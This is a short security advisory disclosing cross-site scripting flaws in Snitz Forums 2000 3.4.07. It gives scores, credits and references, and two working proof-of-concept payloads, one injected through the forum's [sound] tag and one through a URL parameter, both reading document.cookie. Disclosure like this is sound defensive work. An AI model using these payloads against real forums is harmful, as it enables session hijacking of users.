Snitz Forums 2000 Multiple Cross-Site Scripting Vulnerabilities

2010.01.06
Credit: Andrea Fabrizi
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2009-4554
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

************************************************************** Application: Snitz Forums 2000 Version affected: 3.4.07 Website: http://forum.snitz.com/ Discovered By: Andrea Fabrizi Email: andrea.fabrizi (at) gmail (dot) com [email concealed] Web: http://www.andreafabrizi.it Vuln: Multiple Cross-Site Scripting ************************************************************** ###### PERMANENT XSS If [sound] tag is allowed: [sound]http://url_to_valid_mp3_or_m3u_file.m3u" onLoad="alert(document.cookie)[/sound] ###### ###### LINK XSS http://localhost/forum/pop_send_to_friend.asp?url=</textarea><img src="http://www.google.it/intl/it_it/images/logo.gif" onLoad ="alert(document.cookie)"> Note the space: onLoad<space>="alert(document.cookie)" ###### -- Andrea Fabrizi http://www.andreafabrizi.it

References:

http://xforce.iss.net/xforce/xfdb/53804
http://xforce.iss.net/xforce/xfdb/53803
http://www.vupen.com/english/advisories/2009/2957
http://www.securityfocus.com/bid/36710
http://www.securityfocus.com/archive/1/archive/1/507207/100/0/threaded
http://secunia.com/advisories/35733


See this note in RAW Version
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